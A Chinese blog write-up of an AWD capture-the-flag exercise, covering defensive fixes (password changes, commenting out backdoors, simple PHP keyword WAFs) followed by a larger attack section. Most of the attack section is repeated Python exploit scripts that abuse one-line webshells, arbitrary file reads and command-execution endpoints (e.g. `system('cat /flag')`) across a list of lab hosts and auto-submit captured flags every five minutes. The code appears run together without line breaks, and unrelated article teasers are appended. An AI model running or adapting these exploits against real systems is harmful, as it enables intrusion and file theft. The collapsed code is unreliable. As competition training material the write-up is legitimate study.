云曦10月13日awd复现

一、防御

1、改用户密码

passwd <user>

2、改数据库密码

 进入数据库

 mysql -uroot -proot

改密码

update mysql.user set password=password('新密码') where user='root';

查看用户信息密码

 select host,user,password from mysql.user;

改配置文件,将密码改为自己修改后的密码(不更改的话会宕机)

3、删除匿名用户(默认会存在匿名用户登录(user为空的用户))

delete from mysql.user where user='';

4、刷新mysql

flush privileges;

 

5、处理一句话木马

用d盾扫描

/app/.a.php

一句话木马

法一:直接删除这个文件

rm -r .a.php

法二:写入空白

echo > .a.php

法三:注释

/app/a.php

一句话木马+打印出包含有关服务器和执行环境的信息

处理方法同/app/.a.app

/app/config.php

注释

/app/index.php

注释

6、任意文件读取漏洞

/app/about.php

结合自己的网页尝试看看也方便后面攻击

法一:注释(这里不是功能点直接注释就行)

法二:写waf(以防注释到功能点)

<?php
// 定义要限制的特定字符
$restricted_chars = array("flag");// 检查 GET数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 GET 数据
foreach ($_GET as $key => $value) {$_GET[$key] = check_input($value);
}
?>

将文件上传至app目录

注:这里的waf文件名不能为中文否则不被识别

/app/contact.php

处理方法同/app/about.php

7、 命令执行漏洞

/app/footer.php

POST请求命令

法一:注释

法二:waf

<?php
// 定义要限制的特定字符
$restricted_chars = array("cat","flag","ls");// 检查 GET、POST 和 COOKIE 数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 POST 数据
foreach ($_POST as $key => $value) {$_POST[$key] = check_input($value);
}
?>

/app/admin/footer.php

处理同/app/footer.php

/app/admin/header.php

GET请求命令

法一:注释

法二:写waf

<?php
// 定义要限制的特定字符
$restricted_chars = array("cat","flag","ls");// 检查 GET、POST 和 COOKIE 数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 GET 数据
foreach ($_GET as $key => $value) {$_GET[$key] = check_input($value);
}
?>

8、sql注入

/app/search.php

法一:用sqlmap扫描,可以发现注入点(有union注入,布尔盲注,时间盲注和)

法二:手注测试(比较菜只测出了布尔盲注)

true页面

false页面

上waf

/app/login.php

9、修改后台登入密码

先用navicat连上自己的数据库

注意端口是3306不要被mysql_port误导了

连上后进入admin表改后台密码

10、信息泄露

登入后台发现直接得到flag

查看/app/admin/index.php,发现有段php代码进行命令执行

直接注释

11、文件上传漏洞

登入后台后会发现一个文件上传

上传一个文件

/app/admin/upload.php

部署一个文件上传监测脚本

二、攻击

1、扫web端口

nmap <ip> -p <范围>

2、连数据库

尝试看看能不能用navicat直接无密码连接上数据库(如果数据库密码没改的话)

3、后门

/app/.a.php

写自动化exp

import requests
import time
import schedule
import ospayload ="?c=system('cat /flag');"
page=".a.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第一行行内容choice_line = lines[0]with open('hm_flag1.txt', 'a', encoding='utf-8') as file:file.write(choice_line+'\n')def support_flag():with open('hm_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('hm_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)
/app/a.php
import requests
import time
import schedule
import ospayload ="?c=system('cat /flag');"
page="a.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第一行行内容choice_line = lines[0]# 删除多余内容comment = "<pre class='xdebug-var-dump' dir='ltr'>"cleaned_line = choice_line.replace(comment, "")with open('hm_flag2.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('hm_flag2.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('hm_flag2.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

/app/config.php

同/app/.a.php

/app/index.php

同/app/a.php,改为第83行,改删<!-- banner -->

4、任意文件读取漏洞

/app/about.php
import requests
import time
import schedule
import ospayload ="?file=/flag"
page="about.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]# 删除多余内容comment = "<!-- banner -->"cleaned_line = choice_line.replace(comment, "")with open('ry_flag1.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('ry_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('ry_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

/app/contact.php
import requests
import time
import schedule
import ospayload ="?path=/flag"
page="contact.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第83行行内容choice_line = lines[82]# 删除多余内容comment = "<!-- banner -->"cleaned_line = choice_line.replace(comment, "")with open('ry_flag2.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('ry_flag2.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('ry_flag2.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

5、命令执行

/app/footer.php
import requests
import time
import schedule
import ospage="footer.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page# print(n_url)data = {"shell":"cat /flag"}response = requests.post(url=n_url,data=data)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]with open('rce_flag1.txt', 'a', encoding='utf-8') as file:file.write(choice_line+'\n')def support_flag():with open('rce_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('rce_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)
/app/admin/footer.php

同/app/admin/footer.php

/app/admin/header.php
import requests
import time
import schedule
import ospayload ="?p=cat%20/flag"
page="admin/header.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]# 删除多余内容comments = ["cat /flag<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'","'</font> <i>(length=32)</i>"]cleaned_line = choice_linefor comment in comments:cleaned_line = cleaned_line.replace(comment, "")for comment in comments:cleaned_line = cleaned_line.replace(comment, "")with open('rce_flag3.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('rce_flag3.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('rce_flag3.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/57518.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑技巧:Rufus——最佳USB启动盘制作工具指南

目录 一、功能强大&#xff0c;兼容性广泛 二、界面友好&#xff0c;操作简便 三、快速高效&#xff0c;高度可定制 四、安全可靠&#xff0c;社区活跃 在日常的电脑使用中&#xff0c;无论是为了安装操作系统、修复系统故障还是进行其他需要可引导媒体的任务&#xff0c;拥…

使用 Python结合随机User-Agent与代理池进行网络请求

1. 引言 在爬虫开发过程中&#xff0c;为了模拟真实的用户行为&#xff0c;避免被目标网站识别并封锁&#xff0c;通常需要使用随机的User-Agent以及代理IP来发送网络请求。本文将介绍如何通过Python实现这一功能&#xff0c;包括设置随机User-Agent、读取代理列表&#xff0c…

web网页

HTML代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>wyy</title><!-- 引…

VSCODE c++不能自动补全的问题

最近安装了vscode&#xff0c;配置了C/C扩展&#xff0c;也按照网上说的配置了头文件路径 我发现有部分头文件是没办法解析的&#xff0c;只要包含这些头文件中的一个或者多个&#xff0c;就没有代码高亮和代码自动补全了&#xff0c;确定路径配置是没问题的&#xff0c;因为鼠…

Linux笔记之文件查找和搜索命令which,find,locate,whereis总结

Linux笔记之文件查找和搜索命令which,find,locate,whereis总结 code review! 文章目录 Linux笔记之文件查找和搜索命令which,find,locate,whereis总结1.对比2.whereis 和 which 命令区别3.locate 和 find 命令区别 1.对比 命令功能说明备注which常用于查找可直接执行的命令。…

基于ssm的萌宠商城管理系统【附源码】

基于ssm的萌宠宜家商城系统&#xff08;源码L文说明文档&#xff09; 目录 4 系统设计 4.1 系统概述 4.2 系统概要设计 4.3 系统功能结构设计 4.4 数据库设计 4.4.1 数据库E-R图设计 4.4.2 数据库表结构设计 5 系统实现 5.1 管理员功能介绍 …

【C++中的lambda表达式】

不需要借口&#xff0c;爱淡了就放手....................................................................................................... 文章目录 前言 一、【lambda表达式介绍】 1、【lamda表达式的概念】 2、【lamda表达式的语法】 二、【lambda表达式的使用】…

CAS简介

#1024程序员节&#xff5c;征文# CAS是什么&#xff1f; CAS&#xff08;Compare And Swap&#xff09;&#xff0c;即比较与交换&#xff0c;是一种乐观锁的实现方式&#xff0c;用于在不使用锁的情况下实现多线程之间的变量同步。 CAS操作包含三个操作数&#xff1a;内存位…

Stability.AI 发布 SD3.5 模型,能否逆袭击败 FLUX?如何在ComfyUI中的使用SD3.5?

就在前天&#xff0c;Stability AI 正式发布了 Stable Diffusion 3.5版本&#xff0c;包括 3 款强大的模型&#xff1a; Stable Diffusion 3.5 Large&#xff1a;拥有 80 亿参数&#xff0c;提供卓越的图像质量和精确的提示词响应&#xff0c;非常适合在 1 兆像素分辨率下的专…

鸿蒙开发:走进stateStyles多态样式

前言 一个组件&#xff0c;多种状态下&#xff0c;我们如何实现呢&#xff1f;举一个很简单的案例&#xff0c;一个按钮&#xff0c;默认状态下是黑色背景&#xff0c;点击后是红色&#xff0c;手指放开后还原黑色。 我们自然而然的就会想到利用手势的按下和抬起&#xff0c;…

美课+, 一个公司老项目,一段程序猿的技术回忆

前言 "美课"项目从2018年3月26号开始启动到2018年6月8号结束,总计两个月多的时间,项目的时间节点比较紧张.虽然最后没有上线很遗憾,但是,不管是在流程和项目上,对自己都是一次不错的尝试.下面我就对这次项目做一下iOS端的整体总结. #### 技术难点 *** 在iOS端,我感到…

鸿蒙应用开发:数据持久化

最近在搞公司项目用到了鸿蒙端的数据持久化&#xff0c;特来跟大家分享一下。 在鸿蒙开发中&#xff0c;可以使用以下几个包来实现数据的持久化处理&#xff1a; Data Ability 通过数据能力组件&#xff0c;开发者可以实现复杂的数据操作&#xff0c;包括增、删、改、查等功…

【国潮来袭】华为原生鸿蒙 HarmonyOS NEXT(5.0)正式发布:鸿蒙诞生以来最大升级,碰一碰、小艺圈选重磅上线

在昨日晚间的原生鸿蒙之夜暨华为全场景新品发布会上&#xff0c;华为原生鸿蒙 HarmonyOS NEXT&#xff08;5.0&#xff09;正式发布。 华为官方透露&#xff0c;截至目前&#xff0c;鸿蒙操作系统在中国市场份额占据 Top2 的领先地位&#xff0c;拥有超过 1.1 亿 的代码行和 6…

Linux如何安装“ServerAgent“并使用?

1、cd /home/ 2、上传文件到项目文件下 3、解压 unzip ServerAgent-2.2.3.zip 4、打开文件 cd ServerAgent-2.2.3/ 5、赋权&#xff08;测试环境&#xff09; chmod -R 777 *6、启动 ./startAgent.sh

Prompt-Tuning方法学习

文章目录 一、背景1.1 Pre-training1.2 Fine-Tuning1.3 高效微调&#xff08;SOTA PEFT&#xff09;1.4 基于强化学习的进阶微调方法&#xff08;RLHF&#xff09; 二、Prompt-Tuning技术2.1 发展历程2.2 Prompt模板构建方式 三、基于连续提示的Prompt Tuning四、Q&A 一、背…

程序员节日的日期是10月24日‌程序员日

‌程序员节日的日期是10月24日。‌ 这一天被称为‌中国程序员日或‌1024程序员节&#xff0c;由‌博客园、‌CSDN等自发组织设立&#xff0c;旨在纪念程序员对科技世界的贡献。 程序员节日的由来和意义 1024程序员节的由来可以追溯到2010年&#xff0c;最初由网友提出设立一个…

RocketMQ消息处理详解!

文章目录 引言同步发送原理分析优缺点优点缺点 使用场景 异步发送原理分析优缺点优点缺点使用场景 单向发送原理分析优缺点优点缺点 使用场景 三种方式对比如何选择同步发送异步发送单向发送 总结 引言 在 RocketMQ 中&#xff0c;有 3种简单的消息发送方式&#xff1a;同步发…

计算服务器:开启科学计算新变革的强大引擎

1983 年&#xff0c;著名数学家 Lax 为首的调研小组指出&#xff0c;大型科学计算对国家安全、科技进步与经济发展至关重要&#xff0c;从美国国家利益出发&#xff0c;大型计算的绝对优势不容动摇。 科学计算是什么&#xff1f;为何在 20 世纪 80 年代就被提升到美国国家利益层…

Pytest日志收集器配置

前言 在pytest框架中&#xff0c;日志记录&#xff08;logging&#xff09;是一个强大的功能&#xff0c;它允许我们在测试期间记录信息、警告、错误等&#xff0c;从而帮助调试和监控测试进度。 pytest与Python标准库中的logging模块完美集成&#xff0c;因此你可以很容易地在…

vmware虚拟机linux系统安装

一、下载linux镜像安装包 步骤1---网址地址下载镜像 地址&#xff1a;Index of /ubuntu-releases/22.04/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 步骤2---下载linux版本号 步骤3---查看下载的linuxiso linux镜像操作系统 二、vmware新建安装linux操作系统…